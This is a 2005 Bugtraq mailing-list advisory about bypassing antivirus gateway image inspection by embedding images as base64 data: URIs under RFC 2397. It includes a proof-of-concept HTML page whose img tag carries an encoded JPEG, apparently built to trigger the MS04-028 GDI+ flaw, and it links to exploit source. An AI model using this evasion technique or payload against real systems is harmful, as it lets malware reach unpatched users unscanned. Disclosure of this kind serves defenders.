Bugtraq mailing list archives

Multi-vendor AV gateway image inspection bypass vulnerability

From: Darren Bounds <lists () intrusense com>
Date: Tue, 11 Jan 2005 07:57:51 -0500

Multi-vendor AV gateway image inspection bypass vulnerability
January 10, 2005

A vulnerability has been discovered which allows a remote attacker tobypass anti-virus(as well other security technologies such as IDS and IPS) inspection ofHTTP image content.

By leveraging techniques described in RFC 2397 for base64 encodingimage content withinthe URL scheme. A remote attacker may encode a malicious image withinthe body of an HTML

formatted document to circumvent content inspection.

For example:

http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php

The source code at the URL above will by default create a JPEG imagethat will attempt (and failwithout tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.The image itself is detectedby all AV gateway engines tested (Trend, Sophos and McAfee), however,when the same imageis base64 encoded using the technique described in RFC 2397 (documentedbelow), inspection

is not performed and is delivered and rendered by the client.

While Microsoft Internet Explorer does not support the RFC 2397 URLscheme; Firefox, Safari,Mozilla and Opera do and will render the data and thus successfullyexecute the payload if the necessary

OS and/or application patches have not been applied.


## BEGIN HTML ##

<html>
<body>

<imgsrc="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw

/X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
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MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
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xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//Z">

</body>
</html>

## END HTML ##


Solution:

While AV vendor patches are not yet available, fixes for all currentlyknown image vulnerabilities areand have been for several months. If you have not yet applied them,you have your own

negligence to blame.


Contributions:

Thanks to Scott Roeder and Jacinto Rodriquez for their assistance inplatform testing.



Thank you,

Darren Bounds
Intrusense, LLC.
http://www.intrusense.com

-
Intrusense - Securing Business As Usual

Current thread:

Multi-vendor AV gateway image inspection bypass vulnerability Darren Bounds (Jan 11)